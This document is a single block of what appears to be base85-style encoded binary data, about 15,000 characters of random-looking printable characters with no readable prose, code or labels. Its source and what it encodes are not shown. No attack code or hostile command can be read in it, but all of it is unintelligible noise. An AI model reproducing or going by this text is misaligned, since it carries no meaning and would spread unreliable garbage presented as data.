z6z$*J1~RG2ioci{OgNYXBf-&1DuUVP?iq4*U3Fyk-7AImJ#qt*bkm=@E$r*Q%&X4! zwejl`3Ug`BkBNy1X87u!X0}kI#^;guyLj_#3{@%bpXA7~Di}kw=a|j+lGkwosFoER@bj#-kc0A3VA>X`r$`j9ZobbfN}KMw$nCHWvyiLo8Q$o5>w~#X`a+8_{ddaGap5a6bDauonZz(yVoR>zk(> zN^g(_O){2xd-tu_izWv0+x!ceCd0K<#c~%A@zIy^r3A$fVaWBUPoNyT z_j05l)C(4j&@?~Da4nddN`r0l88qEaWp+5s53luzwk}P(7UTD!vg?ZWN2isH0oF7N zkrQ<$+?$9`KSPuFhc$bi$F0SHh3Qa5i)#lNk4*43>;!YNe!W~k(;9aJjExzJr9-Xl z;tfx6h_ebtd6*Mde>?2?;xYJh^a?a>%wuJrn`L^Nl^DwtU@HCj z?c0apPM*zVqnG?V_S)Jp5KNO=bN-!|3sC){Vlva=PmmJqr$?5_x4XxlR^4KZSw}^! z>Til@gzWOvTG(5hpDwOjL+upTmx2>#b#T3Q&?&8Q2o3cy#Ap6k2lNBuZ(v#1-Y?q_ zoGtVEU>m_3_Y(kOpdjg%K%099JsLg{1^SK_inN#U;VEXKL~Tqt&hL9%h`skmz;X zTw->D`lzUXfltp%@?m-aqHqc^2f>OPUT`+aqJxgK&~mxE>1 zRp#BAjw>HmOj^$pbGSd3JUt?-aO1V&c>EisMn~3{e6}8{(iEp}$?lXu{d0zpv;p~x zMwrR6saM}2*R@rN)?{UqZ+!^wxyznE_iX*3D{N%ECCv8wybSTCYwgeX0i@}#zj)G; z%-Lf3Tw{GD_9!?SsgBpA=CbDhjNcc0tG!#L_VyF5YytBduv(v6ShkKWKq4fYCQZo5 zL5$Zs`Y!A*J-^S2Zga&ESBR&_Mk@-e=yx#jt?mf4sl1A75Wgs)q@*(|*@aL_`#>tC z+0!D7CA!?#-;1w7tNQbD#F=M}G~Mu^zT`i=)0*pXlt9ZR{>|9j2REu@g{?Yp zlJH*(yby)pH$(BTRsc8NuYmdHtkfuys&%M3T!K`F;M<#b1A11CDB}b&Qqfz@e$)SlDgpo7R{=d~53$1(e#pKPP8gaJpXQT@hC3m-Ed5 z-pYZC1JxK%TwG1)zE7_(@14TW?n={`J$p6+Ui^zYmfJu!=gl#^^v#?InesD1xiZGQ)X~N+WIi2aJb~uY|HAWIizLNa_Fd*-8U0@Ez?|(^YBGV z(Q|s5mtN^V=CuP+J4LU|u@ohMKWbsPa;SDd%>}5iPls?+Xg)*Kq}f5c4z454@C5cr zx!74Ap3%p7OxISCHZ3NYa?4s~(pE+(w=SJhWvBti|GS z-~i^0%LGcDvuT?NF8j-imah(~aaID?s*n;=2!CUOl|p+FRhl<`0tFSA>Lc5(5MXAc z6lCmZYxl)2QT&Hnfrj~Yj1z#yW=!qPk1&8l4uH&;Jy6xmgd@|H8Kw@VI%uiz{!lc> zPv)PY6W2iF8o>49=@@KmG|CzlOk{cMQ%x zm?E8;u@gH0W;vinp~Cq0azN1_mH9s}2YyIZdS~;yB=-%v4SY^_X-cW)en)b<(kg`! z6&(6q07E@z6V<>EXRa|Ls-0fzy-GO%ffyeg7jaDmE7$`wuXBWbf1!EE%5)^MSw2bW zw&5R8N@4blrtu6}qS_qWR}q(`o*9+K3{c zp&E$5CWEwgTXn4#Zl0jAPg)viRm~Y^JGYe7TmpGi8lI=Of|j%4fJS3eCwn78662`| z-DeWd>1PXPMN**D1pnR|{@*BPoaB)awj&KVgc`}nww`Rx#HiedLz8V`68|D$Yr%5< zHA`^j6RhTEH50)PE=EKdrwT4ucFS?!uu~~2Y7Spn`mi$g3ymLW0)xUGdd1KNXuZk) zs_uf|`&}bKmD61vk!rRIY&ZH8D2-D^lyD`LUN)+D`IquujRJD>75)hP&dnYSjZ{&2 z9yxvs;z0}aYMOp%ospqPUSpiTv>V?9*iVap%67M{ssi0FF~0eQ`!Kq8nPmi}>nVtF zWgAc43=rGnKtKNzaS5|`>?b&-ILh4XD{26J`iY9z99{1Y;!`V)it9u@Nuv{)e90BM zxQNt`@8cr~)10T!``B|^YwAQUTOnl2sHxC{evg!E|H5@srxWfuP!1GF960UludG1C zV~>}dKn{c`Fjdo|tYr;)ba}scUj`lPP5E5mj4>n}g;j$g=FK8JZJFU3RvP%#c}iZE zf{ipg#NXiC_Z%JW7uK46R7_>kYTMgPpzV(6=^+WRkaiawb(IcPz-47d~x2U1?=@)$_j)=R_~e)12R8mVFk+ zU)3uH6X5VxX<8Nha`bX|Prw8+aNuN(q`7=4lIsLTexb2J;psJ7A29CLEo0n*S_-r5 zs|(Kmm~RlsUU5Gn3PyEmCBw&^Fu?ET4BglKC<|%0zl*ya@U0tXn&Q|L7HCN@F6?;= z=Qqi5&@L2~nM#sHycF5>qD--1XMAr*-|s`A=N12irKW!zi98@`8PAil3FCNa4epQj7wWjebq`YT9DO!V3?o5q} z@3MuqeYyb*H0rG+u3ZA<`+9{O5jZt&6XNEz)8}t?$g*D@6-w3`g6KZQt5sEh+^RxV zKH;9}&^~TK}Rm!ij}EWK!oD$#tYpPd~5A z?1X71UIMzT+P>i0RVt{|Dw$3(Dy&`zo#1mYO|dgYGtK8I>01 z!yIz2I@ZfVRA!{#(q7D#C8*wg$@D?S1L_<8_~n@g<^WkJ{sYbvaPvHW|DmgZeGtn5 zbE(iZULyU-d?$AjGX4he-GH4O=cdJ*#R#g*xw<70?CDgbs`;yt4ODLLyfC(z&OWzT zfhfhfx{NpwwOK`tX%u1oE+!_YiIhrDprB5g?+MY?lj-`5^=@EqeRQYY2^^jPrx38p z+oBe{4-T7OEQKJ{o!HAjT!jnVA>N&0pESThC7CMa)tMUHHCfA+Ezf82>Am{*6d}4g zDFHGZ6|whryK%`1e`PtIWY)5DQZkOYv#>cHELz71t&@5RCH3KEQ0T6QeVw3%x3-Z zDGv*Cj-s#cv^CRNnHJ8@>yLTN(@5X(F%4=NH$T}@f3o5cBMDfqb8%5j^g|gwcj%o=dhcBnWY*#>+pYMNJx?tr9E374gW(t2JQUtO_sCy)XDhhSTF-pOv+h zzU$_8)#GZO?Z3*NJXX-ti@Hw|`Pl^ivkkb~TH2(-PZ0DrDC`vFoS`8x%~1J5DE;?Z zJ5(L%`=8g^w;>4{ z(p@*AjTB0<r z)+e&|ds!R<^@pR;x}*M2U>mzLJW{IH*)xqst%f#BhNi>$bbCYuQJ858qAMLJL{j73H?Le!^1)Fjaf+XR(b4r)xFy#hORs|fj=ibz9oTFfu5HE(bkdeR*2D;;_1>s^YM{{ zMrfU;BIgEWZ0Ko&3mkTR^6ydYCq`GvM~Ob*)DDyU{a0`cxa&<9{pVQ|JG+Mqp+uHJ zyT;^zJxKzP@J#^H$x057N6u1}aLqt4<)A*OBA^SlKTR0!;bMYv164P1-L$i<_F+P6 z0Dsix`HuU3wmWP| z=INn=GO(>Ykjg_pwR-Bx!3m}~l3wN(bRT0T;IsMeF(ARqaJqDXCQ0x`gj*;++M9%l zsCM8|T#fp;;v}SdBwmh}wTqe0e#$qT?9GuUx4y836sC50J|Ekml~_zjaBUD)j1+eS z_G2&ruM9a$08ug;G)QzXhlI@?QDw!^e^0iM2d>jpU<=B%8;)J+LW41MPT-p~xuIo) z&&_&fwS3U1BA$@drf3e1(on|cd;6p-&CKiES0zl^{qu(^1zEb+sqdF< zxpmmZ+*5tYg_X=RChwG5N!p2!8(R~dsl)g%AT5mUnblHK!k+|VA3mz74siEj=@)Hu z21a>-=IZY86U7WuU|-NEr>lYjUL@^9pu~_+I~Pvr@HGnYWP={vTSmtE{?7$OR*=kV zLsNr1i|1h<_vV{ph*@!!cG5dlC>5&WeatkQn;w$C-ZVHz{5|~|PHx@QI_NC(JB;fM zL>%?Jfg|=R_{S+gndmSZj&c;J{Nb-{)83JPEa(rznOQy6cWqMAbG^S8MTIzGD85u^ zR-RGDQm}cHBD?5?Z>j9MP4mdrj1Y@Y`D-#an(7+kx0 zLdep@3|)VzNnuY4VCMwf^qLxL*E7&Zq7==LpMHz}RB#aM)Xb=4do5-lz&DG$qw<)E zhPCIt2`a`zY6y@hA@YN`fwzFRns)151b1#VkLI3&ytA5-k-Rx)=Xh zzeG~vC$nsYXQBu7y9uwAm-j+09?ZLFEKbJWRxAEF`3r3_vlLY7*VedY=Ww}Ie5WVs z;M7SD+R43aDOtrk{3-I>lj0X6Z@8FQTt7f!Vkyk?H3NEO$NI67 zRQMkg3Z*0>G@mP{Q*O^{W++a?-_!4QHZ#RZ_louu)|3+P#DqSZd1dCCnWy>7tRqxB z`$VJ=QfBDU0&xmzG<}Td?rdRNzyeJYim1d+%}d9ppmTxq1ZR%gTWBen;U{~7o6#E> zajPA@$41ur?H(60gI`-#I!HAc15-4U`Ab1XsMaN0@z%ir$+45v5IhT666P7n=eJNf zK>!dQ3fYL>O%w%=Bdd(Ukc~y@hkJvuiuU(3hPlCk-wat^y7f*?6lkOT<1VOi>_Qx; z58Yt*#i&XU7$6yx9=Z@Dt7rz_8pkqQYO>xF>fqWb%`HrKy%SxTzP!=J**KuJXs^`P zKYPu^KKJ!3iTShg;ZK(@$Zab(MO3L5Y3x1P+|6rdwzq=*3X}CtS-k&msvG8vI-+t( z;=vgzf_6;!25i&;LVRqTN_oaH@f}ioo`}0Vbemm8PoeEaf=p7jBgcIemM@$OBmE*l zL}axu)jh2f&z<#@ZD{&qARzPl3`@U!kq#3`!Ap@YJ&pXkcuUETkVEr76>l|Q%Pw#O zi;X3AUF(tycpRnC)r`2SK65WIPAj@#Tu@Mo?i-}NM7&~!GkRegYTZOHQPc%Cou-5J z_wO)gM=utrDwwQF4Z?jGh0Xwzb_l7AWrqn;)o*vQUd0W6+p(t2v(WOh+Nu7Q{4Z%9 z{*A&4m{MXuVG7o9d;BV23A{d?*nz5!B4~fY3Jt2gjW2`z>p-vZTb)h&h$c~!!RD95;C`~n6W~~3c6%se;1JEe>$cpGgYMl@ zKA-q`ZW|zaiDp}Y!5=cTy@eaDkCboET5wO)F1#q9U$^q^nd%{Kweg#_ShMjr+<>M% z8N>sZzSHprTVC%Gm8(5`qx~;`Zj8sOZda4Gm|AcV=*6cU&&o@J-G_cS&e)!zmnvov zA00bjAjD|@+`_Fm_9EwbqeVs(1;uuil;WPLsUCeVjaN(XSI33lYYMVp=LPN%z~9dc zvY{laLCw`RThAy9taoQh(qOk8nnI>mYVIq_$fw2)yj)(ZM&)1M+~=(q`nHRNeUGR3 zrIRff()^R6@bhSlG$v!dbJlOwj*T9!{|z5X6K4YYHZ){)K__50k#{;nQQ$_XSQQhl znLM}V!rOC_kJW99YD~FQy=%=Vjj8>RceQ^$DJ})tk!eqI--Z`9{-gF;t?{@cz0eM{ z8k#Tv7xavejgUcG&?5f#5_c5%tfBrqOgX{ zqX>Tv5p^nA$7kHgATf8t)@Q<5B0yGt5Rvt@i9-*#yn#Mf_L*1xBe3f_cLY@f0 zx@gqd&M51l--YGU*Cx+3O0MPv~xf;GP$@@Ssk_! z(K7|Af%!0Sy|41&s{8QSIntQ3ohOLI!8d82 z=V60I`R?IR!KaZ{zfp+l<8I2pITTvPs_4^Imd$TRuC3vZ!Rv`$w2RYLj(=-XN{B~s zZCvxkVf(_^%@m^!vqTaJ`(J3WxOhWn0?!gW3mlx*D1$2~(YyFsc&;dEoP9=G%aqej zQk^N_8tTiQUNqE968Q7^&CW>#T%&6JC7pNOB*DaT7rCjnBHxo(jz>_l@^u#Sn>tUZI)Yu54cE~MfD4V z^552V#j`yT(E9YWo?lm1QYmcj6V+xS#F5~wg+#6M)32^U{~}lOr~gWO&Hr6{y6}fx zDH;LCy!qzbC!x%kT5m7E!_~+uphKp^7wKq#6PY-0+9mLq;q_o?qR21(cUn?j?`85j zGmiS@XLxjNttwh_+Ys097|)<8huj^N&w@?K8VBvJawze{CZ#AeW$TXTWXsctju70T4)?ysDp}2Tz z$D?=};V>{M7$zUgxIQbAbQB9)TRS~aXVA=O#hN_2c*G9qE)y~d+xjx2XWB2w zcX=+Tzmm8S%mq^u&)^`9P)U;$_4DJ1PyLA&J}O*BY#>37q@QXMbTzM!luAbIK2BXb zo!B+tDooqYRuV8Q!;Cd>4y%NQ`FR}8b;<3QD$lO!@XBP=SW?nt&=h*f#>%HN2U`+& z2@y+YCsaLL!6l8WQ_00Vl&^_h~^lFe4gVZZ^a54j03wn$~4u;T~AfQhcd{EHC2qj%WLAYIK zwIc8+B>oPOh`1Dg#XI_GoNWpHa;A4)(a30VE1&arPZZFQAPy$8S)$?<(^Z z)m*p3%zxV1dF45KBC}knoc_%RNUx#7?4d5A{BsJ-wKX5|?-h_z{SU?2&BtO$`CH;9 z_LcY)-n=5|YwTkK|3h*9ABywclT)0*71?hvbK@O4Ly)bK{z_?V%8K2L3Zi}^gYrzg z4c6baA-VDzd%gDyQi^n{jA5`=3$_Y1jDU_oAku`Yd|{d$$_ExlV6*1~)vRW4f-nch znq%G!6f^bK_eKM?v2dcDdc|LNuK-A*uQUgMdBAX)Tr+sX`8<5GHma@1lmRv>cn_Wh zsNc?TN43k<_y9}B3R6z%JceRzPw91wH7i6lJWr;rtx7&e3L~2K-F)AF6Y&q;1KCyR z-p1kiE-^e#RtR-|blSthNN91}=8Z?ph7xRg`Kv>iWRIdenFJTDf#jEh=G!&K{>!iG zst;zY|8BtaMF8c9eDJb5gB3?X(dzmkr6LXKn@|#XkKeT}SjS;OZD@p;n z7?mS@D}U;e^PPbF?H{04FUD*_mrN#ZQ{3-Zoc(DMzF+MxmnubRSe}X{KOf9KzB7M2 zw~cJpocTuyYijbaFhU=}*|kgX2|+f*sO<9KMKr;vAQt&`((B#dB%vDe4~+qS6Mx+6 z76jT}p1=f08fLni7EnM?zfdUeY3sy6*`+RS{!6JRC{DqFz3*$o zA%b@K1Ud{Dg3Hv$Lg7fcDc$xQa=0 zW>8Ecr4mq|M@qc0HRYAW+6XQF5)zpR%J_Sg3F?%-K4)uL3}rl}UvW#t2THAZK0zM> z$40s+|1fQj5e-EqCE<3TUGSS%F@VE65w0N*`q9V)LxHw6-3FC`r!B|tBQGw4*|1Nkxci2gVT=ylpSD1G>{ zGLE=924{7@O~JU7(Lpl_59z4sFmbD-fE3#X4a;hsEa5SYZBwwjWzuv#3hN-L|MNrX z#^g>h&VcD(XaW?}C1Z?Y3ct{7tI`b+dxsOX)lWxyT$~>UbT97ndF+@ksfj9g zDyCB1UhO5^KL1#lNlx|)-fhoQ#UH$)we?=w*R3DRU^;R7Eg*N>H-3e{{V;zOz=1w;^bGliV zX}*ed+Bb0#sO!MCVVbsHT9u`skW@{_`eo zQn)1qi0NT!eW(#CY;1o5sGcI_h74|*i7b=A(-1FF+LU6tCy$v_C22qB6>_MfJ~n+n z*tiUXx}N_GS|mY5(7xw+3}3DTEGb}KU1E2cLCmF;Sx36ewlFH`tC~@a9vj#y55j+; ziJ?h6e|!262Soytp-V_`AiR+CM`d#k@W7xG^rKS}j&@TPJY^5&4-Q_IzL%I7cE__r zx~Iteob+|~`fnw{jZDR!?@P!pO3~%`Aq=?LGUeXCA|^5vmi>N;wd%P8+vfm2CHa<6 z*X?e9&JaoD`l9R2$M$Mjxa#FX+{=$7)y@h^3cg*zhO-fiy0(s;H`(7% zwJU46Ig2-|!tWd+ABa;#a_^AYxa-VrcIIXOzPWbxY({kAhPbw zJAWwyC53_DIDIW+6#m`s{Zf^${GZ%mR6NJT$xw89Uo|1*7h3&NDX8VxJVaC(g>f1j zsZy{whMKMVkN4~|PSCZrz}eN|WUf1=(k`w(EYC%L{$v$@!gO!7$6;LGWFO=e;kka2 ze#QJfjug%qW5JuOY#U0wSJ@`*Y#1E|n$dBO0~qS0`V?gWU36m=ur@=DY_6M5jnz$9 zJQ`I*p`bt7u@r8cg)E8`Dwrefe|sT=EZ-@LGg=1OB3a)OW+I&T^OC>wRY#qxHyFl{ z%0w=AesH%geQ2;C+jF;aapxX$!8LH;rkqfIr#<`a%lU9rdDIzmaj(1T5?;b(a>zsI zh-j?xiW6~Vc=h#_27nOyX4_>7+IEN+K!#x3KV+5EY@N0Yny z8lHj^I7S<3sT`PkVyZEA??0J*RK_SZ(<)78HNuTod-Y7;$lruZJUzt`hu@z_8j0BX zk}l;_5^!sOqNGu}F8uLxDf*>TifDb&gG&AL45q#>*#b~qbsUHSisk|rW9+-?HWvvE zPL=skTsy^kohjxvc3ek06RR+?3wPfkTZLg&f%?W=MPVUkm#}ONMK(?B-7_kN$7N!V zI(R$d3ycN(9e}rOVA!koENG2#9kA3X~}`{pTjjE zkINLqpVE%_2p2h4@6HgCKZyI3RJJZ*e(6@C3dw|k*6T+f210|CuA48*5xyv`R69&Ilh#UPa9Mn#;D@Fk(@6 z1kfs2J-bzXtpw^NSz03yf|p$m_s3G4}j^Ez2@ALV7;yEtc7>f_IGpo`x$Q$epGW1ZY2tdvpXlw4^ZlIZ_dhxA&auB$Px0(IGqflAJp0nUE=$| zP8NxDrI^eI2i)w^KBakM5h@k)X40WKr!9j|%a`~K`t?Cx?hbc}tX1 zH$P(WFjl$Z-xA~!%6$KJ*MU$!K$@b%C8!s=>F!H@-7 z;Z*2MWx#J?WLZ@?Kraj}%qJ-UNzddQAAg2{kC_kXvWFLT6^sF;UuK{$JM{S0Ey2~u zk37&Z2c^<-4d6(dEwDjuXw#;bf&FHL{$y8o+ZJ^e;hgxgzKtDlYRi* z>*H<)L*HR-uXKEUH-h>bLWR6r=);qbMtBBm8)EI&R?_)9(%`_+4gm4Eq_Od>jS+g?O6|DuXd;~Sb{cFdu3atzA;-=!4L&c96EBuzc$MIcu}qz*LYWpVCn ztJg0rJT9-!U2GO$UD&SNpRtLU^6Iyi)*(v&Y_6jk!*`L5rQR#L=Cqa@=8Vp3a=YZX zXoj7YY!MIBOj0rk37=8YRcSvh=><|EUL92syi0z zNc=&e4ui4MKVMzwRV;O5i@2dAM;{PeP)FD+z(Ge{e&b)1@M! zI9z>U&!#-$%D^aZF+W+Ap-X&$i7Ojs!9@w#d#UoCd%=_u_cbmw;-v5eSr!s7Gvmr* z2wG)E0v|DOy%Ie(q95W1hz^AoFPkV`+tpPs84O=ybv3xMxw${ezPUda04)0bW_E-d zq#Huz|G8Gmb5tAE$HRJpqH>Ch$MphgEOH^~Z*F_t#fgla7YD*#)vy!pmEQIFFYag(%Yqk>zT?{2#xF z@>2(l4qMYLOvE_Tts6&7o2=N(yI1efzZA6l|J3OQtwTBCJ#T*RU{W`O|ixrW}#oBH7L1Rtx`c z&W2%&7Mi0m&|KbHNQgPN89ZRyVEUq1RL+*1aEj&lz!&F(q2=%~ zEh1D&(P;Gk+N=<0xF5SCBGje9{aq_~wZ zuICV#rhLE+h7EF2v||VpsxAPx1mD3SSV17D3k)3`eaPpU%wttiq6iMb>T1m2GP7zJ zN@8rvEbNrElL|93L=}alRNPXfq!<<>BSVv|vxAAls_KB0L8@P9X(Rhjze`#UR+X{H zu@MZnH37#|0L1*dwHgfWt#&^>`Nui|=B?+*~s_;Jyf2$7SElQvfw_-Y-|( z>?B$GSsISIP|?)f%g^)|nueInSOR9~no3S1?u%E(ugEMhpNpGX@&pqp-6{*kXg%xa z0?ckHsdTJM%$X*9CZx;AQ63EMdPPH7ulnPGfPxlIax$(Y_SZqb=NViupu3~0up=pv z(Dk@eeO>~%2rAF(wCdz%&4~V)j>1y9>TsDV%ahdVoG_W0)x<=;s&$+qk>qE+CZq<|r!Xm%VC73<368N_vl}L>(L-{D zXOn}5tZC-3hGOR3S7=hn_IR*hkI&rumgJ)DnL+;nr; zN!SVDX>FzVD#He;h~P|E*?n-!MB2rAWfd zvmJsdL`()K+SgK|=F)C2t-`yc&IAxZ`Qjen4OJO+-w%??Kj^9YczAqkY% zfx--s=7lqi5vgcl1N@HVk#@j*tO~hea8*@w0KFNcz)sgqICE&18fd+Y1G&07?Qr_# zV#~V{;GRixKvhuW&-FHCec;~sGwha1aS|Z6nv1S~@prgvKX_kalI@X|P0`xNdST0$ z6rN=C>%@&rLJ)L|z6G+4rodBVj$!8igmw6X`pIS>r8k`g>W=9G8vWB>9D@pQ1wG8} z{@&_I8X;_aRtpOpfHm9zOKz_=VuVVko^OVE_!c@cHAqF>3Vawi>m=;D@URr+U%hol zt$J)=51et0gTVrVr@7k~5%y!xA1kL}w5_LzQKWxK>^r}r=`H^YjjXJ#m)|@3)QziY z5(wYCL=k&u>=nEH0zCgqF-%hRY4GH?0Var=veztH4(iUi}L z=NVJIt+#~fPT+<2>6B&CVQD-;=N+imZk2zojQ@dRol+{xrpqUbxMBT(9^TFUfz5r3 z&zlsVXUs*vq}?d(j0qxUwQ%CX?D9kR{1Ax#+#yE8eYveV=@(jtQ{2GT7|*Il?V*s( ziq)Wy-z@Q*Zm_UokvSo4Vf_s0UZA9R2&-Z(tCMVmir*{tPVBFzwkRyDaPCqS z&WBE2=D~i)+AKZXB5XnN@^pp3`SUau9Eq&rCvd`s14+a|{Iq8?1_IwyCoo#YH#Sl} z$hh^iml{%mGa_c+lFrag7rhH?(*8a$YBl}*jaUC|X)DQdg6zQv_W|)6de`^rFhor_ zSAY^4kazg!`0=*k{lh2FQm1)55u9#00hJndMcB*Hp+c=8E?`C87WSH&s+DE=R5)+d zb)sKrTM6ay1&m;sIsMo~k`zdpfg)DYST|Xt?-=9YDWtUbl)X!33O6EoY-5=qc^>D- zr>wiYis)x*=*G@vcbt{XdBbSG6*?1a2Fe(`Bm;S|; zIX?sYcV(G(Ur#%1{h>Jglp1yRy&}__)oZMuOVq8Tr5Mpm9SvRl>@DU*{{@hj%+l9_ zWG=F5 zs-sQFQ9qoo5l}!}1;1bpP1q~uP4wuEIWIA2QC{#ARKDYM^*UFFzk<}O^^XLNORKsg z8ioanRZH527Oo>hbHHGbw^);H)yR+K+0UcN1;Z0Uz%IW7 zL2DzW>j2iF^^Tyk7?EWJOU5ykl@Lw+(8UcWg2XSZ;s)3w*F~knAz(^U1#WPp1d>PHwJNFbS51lrPL=Q*3w;Ogw z5uBiPt$0G@QNv9LUZ^HGpJaRjBr{TK7R&t2B^NZr1>K*@z7bWL4Y&7hR9&mEZyF^Y z7qwHc#CAC_#$)$=L8{!MT23Q^e>I%k>H{ebVZw(2Ne#)dIR#>YYphGaDN`7*@2<=| z(E)b!CPQCQ_OYfvpdQYl07_lC*i7lAkL=|tsrOt(xUY40%sM@=Bb>ENov^peHMGNg ztMEK{;;3-1;-Bj)@y8h)x_Zi}EP@QGM?00))BU2aF*<5}D+)zQf2V7tpxN`OEU66m zD~&oJ3W;c77D#?#|rKEJCm_Yip@2}uhq zApROiI|K`PICNea+;-U;_hw)B4=f}k(ylcNAd(`U**FEbnyQmC4mwH-K^LW?s~8ij70{%3!i0C+ar+|&-|rJp{RlPPD3kfq3?{Sd z_jVPy>>7~SKT3>tmUwUc&|4q3Fr3|~N&+qsbwF%r(C<@~_m})aQzGLzyj};7k5-NZ zMHvX=j(2@)99$S8PoKh-@@ZaWRs;SpbEsgQV~|52KKPG&1W}KG?vBJ`Y)0w)rY2re z*(b0SaO|3zkTB?&N+@MHL?-!cJ~@nVApTbG60JV?3(daU<&ZTO#WaDP!pTJ6nd~Ob zf~Yf>!4LNC3f;pVWK9n~OU}sqp~p$~LYtKO>tlQcnr1-DhEJy`A4O=-pHiNBsAVtA zc_C!EI>r7gzcibo%|iAB6S5<5n-a?Dos$>~%iedrvFukhBD;>Z-6OB*4C^k)KNwB$ zkobj$SQbJpf3}+Vh4yOSeROQF$b-1;3%-{T2KJx%3y5bJVS>Bqung4r==RV}euuBx z(w`j;7)u+G{A2f3D&j-(FBkFA^l2Cc=1psCfkxv;cCM?haiVFPnU1lL{u}FyF<^}1 z|8fg6j7m4cK7W+j_wLr8Ht^MS<2vkO_lP;j4*G>w{G*EF(5c%+2ao#;hu-om@+m^R zC6J&jds<5xk@D!WQ4qe{XWb#)21Ox9lV#f5E00y=cViEwS-rEzwnteiiHgeuza8z9 zpyNn6F#>o$UCgI_t(Hc_#QZKemkxuJX;$8Xz$4GB$#nymqBvt zzChwD%yqTP{6b4t%0w^Tr8q4>?nC_3Dgg51czRXFig#1 z1A*ue^k0uRoeWggs(sYBHe{{;sd~1)r=fGr?H(|jR~Zl(Wp*!}rgry%uhEt>yA4ZT z|K_L@8waY&#@dnU1plP+N&C|{{o>@X8wv1J9Pb3s@0Y+*O5g9361B-ZHu7=df4)W0 z1B4Dy#;UWv4uTOWT~WCrh}R5`=B6pX(7G5^ytEE*PhGnxc7B_uZMaP%0-mlRaZG(9 zXcC9pvT*q>2MdYC7Z^44oi7CLQSzg@00d_})`YA%uV76k;2P8pR{zL+0K%fB0A7jq ze{i7uzW*MCm3gdUX$tK3{5)eJ5V_~z9l$9%3tur`5zP}vo!bAV?9Jl@Ul9^S-x?L| zU`qKyIM3JM^PZ>Q*YMK6SjkEQMdY9+$>Yn6s7m-0KbANr^H4L`w}9ga3dbH?-R+#6 zIB6L7-XU#7mj_-%sOo8{o5+6nj2j(Ic-oeyns@@fe8r5gv6xd(3UcA!-ABv%SCWOg za35aoW*7v-EaB*Xlqkmal4u??28*VIE5G`>qC_mO#}WCwOustFVXd zIUGGY5`ll8DwyAgmkA`-;+&t7#Smpa2lNt90ylegaB)FMb1#sNN=o_Mg~Twwt6;>R zU*UJVQT)Ref%ZYkL;#!blGoP)&STp!H-T}_*`Ps4&ktqdB3$y8{kBkis z?0$yb+k!WV$xU7T=#K%CPyA z*hMSp*mmDHAI+?g65T4LI3&1Hqs&cAgBs7>e*8FH%v+dysWVCj0O%@w&%`+}fV*{=E_TZI6bo5Jah;CIyMpW*QwYV&i1Dx8EQ{w$M^A~79E3d0(rV%P1SP1fK+C+!?Y8Y zWhDVuhEvy8Q+F}Sf6>(@?BMU|(4%vA7vDLQ$TEI{SpWC&Z5yBm;-<~|j-Ql??QD?M`Ej+JQdASrNuM1IhH zu}}ph7f2DCK{)b z$zl6*D2==tMPadJRTX{s8m;d`$;-opK4#_41`O3g_Xp-L5V(Y&S#w&U^8wwN!kM|Z zs$8mxBsv3#PCjn0`abbBEGF_?FIV$QSTREJGF-p<$oL4bN; zQ9C==rt_zQCx|Rg;FrMw7_tu&9kgG4j~LGAq!y$k4K$y1DF48RyoY~sMG@u4h8ugX$DmQ7Q;F%>!ZygS!n>0M3 zQ^NUe3Rzjg0t7onsi1Eidn0@@rETbav}=5kR`53L4G9U4XZD6MqIE?9Paf~(@ENa` z2<_j8nS1m!#b9jSS-{zmETnp2t;Vay_$)0QF!F-<{WdeJ3VdxL72)7dIYLWmkjxi>EPWe&2y94&Y%tJ?M_E z2wkr0R}q?X*hT5I!N1L>MDqUQTgC&f zww93@n&x$E;0+-NR`on$(z)#qqenZP#1DEOP>Gb#Dat9=h5z6L5!@5t`Rkx%X64!< zdSrH-RJQgBBtkP2nX-OhT^@4=h|ZC<6h+d@{53v|^Su|Ck$4gdnBBIu340ZAyK)Ri%g^-}8et5)k66o%bD&R4 zT^b+nihvPP>VowH@`2O6^p_`?wx)VWzdau9Kj_)JKC);zy&KCOF7#u&dQ|q#6YlF} z%JPM?bM9$4M2Tt|scuwvn9}4q%~pOC)iR9MS(bTvsGtmND-Wdd&`+(N!aaNZHvBTu zvM!l}=5Bfkxjq{Sq;-Z}w$QqCIIy{KP9i0tqcgBk+m^navd}8t?|G51W(|2T%UK}< zN1<8IuR}{;jj2&)AJ+8coTsX~GJ}{xzof^>z1?8QQzk^RNK2C`DK9Wv79~oOKS~~{ zRrz#Gvr?D!;GR&~sNvpl_WNIG%5|#^`$EKfa|4d7?+U$Xd0ltoe0*=} zr-a%s+*79W5V}Pf4Vzn*`Ctcm{P6hICEw)wpkWMRHd0I%@LQD;Ce(v8pk9dkuO! zOEZ>txqg@-$A3#Oo44n&5|ofFAaT61C`#~x6PY(9CQ~fq)X!oSNkfc=!RKi$k2S6r zX#R0P-{7*%moSo)694)>RpUDP?>~bvexcErkNYT$=5nffbDX*qI+3}N2%L}-4)7M^ z_QkB{AC@e#We>52?Hjtfsa7totRUmc?3$gi6nwMYKA;HoE_|{I433T~CVyL>?^igB z_IXOjz(qCmCdWh8b>)!mm5=wAQ?hzPF6HBYjcYF=(~4HtyHmv;liO0oEqENeWS%qQ z%#RnjWj?xESDUC`rk5lez7=GB#Qu@@`@rt%xZ==ksN{W>|2+=(D;om zV3s-l@C|W(m{Zq2KoRly@z$t5{x|f|ma4u9>q>zbco~N9vO|}? zm`72oyWnAi{h*Fk^y4aBj?LX{m%(wR*+SJ?c{cm6)>q^tt?%@f+(A#!zTjT}d3(Eq ztsU)29Oo>tS*JJg(}zX7%+5gX(j>U;!~kV*z|!!dd6ibe%7(XW5S=AkipJCWa^T0E zp11WF)+i32bJzN3GEtepn@2Zq2aS!@RF6)s^TghbrV#pYBYZR3b_q=uC>z@)@#vX`-#uf#mFe>RnrTNjcYfBbI}MJ9|aAi0uR0uT;n*8 zdn?;_H3G3BCZq!fMr<65&S_`{OQ8+XUw^)q=7+T*U^l}ZA9A(!jzAbVFBk+g-hKB~ z(r?3K{qmEhVs5C^&it+je&|~tndh`m{Tt|?H3;+^P~F=cu`(Xmij^<8kUic~eK@DT zh*w`YbS^V>0;ud&_?+Tqb~YD-5rrk!?1f9rDK*c8;b0-mwy>K`tC_U^3$1^j>2|Kz{8!c&|NGC1J91EtM5ZwotJA)`UE)9S@=Yk~OqIkA z&b9y5-djdR{eNr20|L@5ARPk&N=ZsfGf0OtA|jpAUD7#HN_Uqq4Beq3(j7xecc;&I zpL3oU&)>oG|E=@fYu#(zFIarvz?%7fV()$J>$-MvhhyY-ln(GX#+SsET*h9TJ(ZdI zYpi{-j}u{vy=DcOWn6ksfh^zCSq&v0U;&=?uB}jcgkfSg=tC(8#(1zBk_$6i6H~>6}o0{TQ@&r8yd2S)4g+VrX|vWxrL-f 